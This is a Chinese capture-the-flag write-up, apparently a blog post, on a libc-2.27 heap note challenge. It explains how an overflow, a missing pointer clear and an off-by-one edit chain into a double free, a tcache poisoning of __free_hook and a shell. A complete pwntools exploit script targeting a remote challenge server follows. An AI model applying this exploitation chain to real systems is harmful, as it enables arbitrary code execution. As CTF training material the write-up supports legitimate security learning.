数据结构:name:0x10,flag:8(1/0),content_ptr:8
在读入name时有个溢出,name长度是16但可以读21,不过这个长度覆盖不到指针。
puts("Input your note name and note content:"); sub_AD6((char *)&unk_202060 + 32 * i, 21LL); // 溢出 sub_AD6(qword_202078[4 * i], v1); ++dword_202050;
free里没有清指针,但对标志进行了清除,在新建和删除时都会检查。
unsigned __int64 m3free() { unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("Index:"); _isoc99_scanf("%u", &v1); if ( *((_QWORD *)&unk_202070 + 4 * v1) == 1LL ) //检查状态标志 { free((void *)qword_202078[4 * v1]); *((_QWORD *)&unk_202070 + 4 * v1) = 0LL; //状态标志置0 --dword_202050; puts("Done!"); } else { puts("No such note!"); } return __readfsqword(0x28u) ^ v2; }
edit时不仅没有检查状态标志,而且可以溢出。不过不大明显,当strchr去找时会返回超出串长的位置。正好一位,几个小漏洞组成一个大漏洞:通过edit ->x01 将标记们置1,这样就有了UAF可以实现doublefree了。
unsigned __int64 m4edit() { char *v0; // rax char buf; // [rsp+2h] [rbp-Eh] BYREF char v3; // [rsp+3h] [rbp-Dh] BYREF unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); if ( dword_20204C > 1 ) { puts("You are really annoying!"); exit(0); } puts("Index:"); _isoc99_scanf("%u", &v4); ++dword_20204C; puts("Which letter do you want to change?"); read(0, &buf, 1uLL); if ( strchr((const char *)&unk_202060 + 32 * v4, buf) ) { read(0, &v3, 1uLL); v0 = strchr((const char *)&unk_202060 + 32 * v4, buf); *v0 = v3; puts("Done!"); } else { puts("No such letter"); } return __readfsqword(0x28u) ^ v5; }
不过问题依然存在。建块数量,大小和edit次数都有限制,无法释放大块(libc-2.27使用tcache至少需要0x420才能直接释放到unsortbin,即使修改头也要有足够空间才行),也不能多次释放填满tcache,edit只能两次。要得到libc很困难。
主要思路:
- 由于数字部分由scanf读入,scanf会先把数据读到缓冲区(在堆上)再从里边读入数据,这里会生成一个0x1010的块,但每次都会执行scanf读菜单,所以不能直接释放它,unsortbin的指针被破坏会导致程序崩溃。由于读数字时只能是数字和空格回车,所以这里需要构造一个由数字回车空格组成的串来作头标记: 0xa31。 前边填充空格,将缓冲区填充到只剩0xa30的大小(释放时会检查底部chunk结构)。大多数情况下输入都很短不会影响到这个位置。通过doublefree得到环,将块建到0xa31的位置,然后释放再编辑show得到libc利用上一步doublefree后新建的两个指向相同地址的块释放再次得到环,将地址改为free_hook写入system
完整exp(远程不成功,得到的堆地址差0x10原因没想明白。但使用相同的libc不应该这样)
from pwn import * ''' patchelf --set-interpreter ../buuoj_2.27_amd64/ld-2.27.so pwn patchelf --add-needed ../buuoj_2.27_amd64/libc-2.27.so pwn ''' elf = ELF('./pwn') context.arch = 'amd64' def connect(): global p,libc_elf,one,libc_start_main_ret,local local = 0 if local == 1: p = process('./pwn') else: p = remote('node4.buuoj.cn', 26073) libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so') one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c] libc_start_main_ret = 0x21b97 menu = b"5.Exitn" def add(size, name, msg): p.sendlineafter(menu, b'1') p.sendlineafter(b"How long is your note?n", str(size).encode()) p.sendafter(b"Input your note name and note content:", name) sleep(0.1) p.send(msg) def show(idx): p.sendlineafter(menu, b'2') p.sendlineafter(b"Index:n", str(idx).encode()) def free(idx): p.sendlineafter(menu, b'3') p.sendlineafter(b"Index:n", str(idx).encode()) def edit(idx, wih, c): p.sendlineafter(menu, b'4') p.sendlineafter(b"Index:n", str(idx).encode()) p.sendafter(b"Which letter do you want to change?", wih) p.send(c) def pwn(): add(0x10, b'A'*0x10+b'x01', b'A') add(0x10, b'A'*0x10+b'x01', b'A') free(1) free(0) edit(0, b'x00', b'x01') show(0) p.recvuntil(b'Content:') heap_base = u64(p.recvline()[:-1].ljust(8, b'x00')) -0x260 -0x1010 -0x30 #remote +0x10 print('heap:', hex(heap_base)) free(0) p.sendlineafter(menu, b'2'.ljust(0x5d8, b' ')+ b'1') #0xa31 show(1) menu:2 chunk1 add(0x10, b'A', p64(heap_base+0x850)) #0 add(0x10, b'A', b'A') #1 add(0x10, b'A'*0x10+b'x01', b'ABC') #2 free(2) edit(2, b'x00', b'x01') show(2) p.recvuntil(b'Content:') libc_base = u64(p.recvline()[:-1].ljust(8, b'x00')) - 0x10 -0x60 - libc_elf.sym['__malloc_hook'] libc_elf.address = libc_base one_gadget= libc_base + one[0] print('libc:', hex(libc_base)) free(0) free(1) add(0x10, b'A', p64(libc_elf.sym['__free_hook'])) add(0x10, b'A', b'/bin/shx00') add(0x10, b'A', p64(libc_elf.sym['system'])) free(1) p.sendline(b'cat /flag') p.interactive() connect() pwn()
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)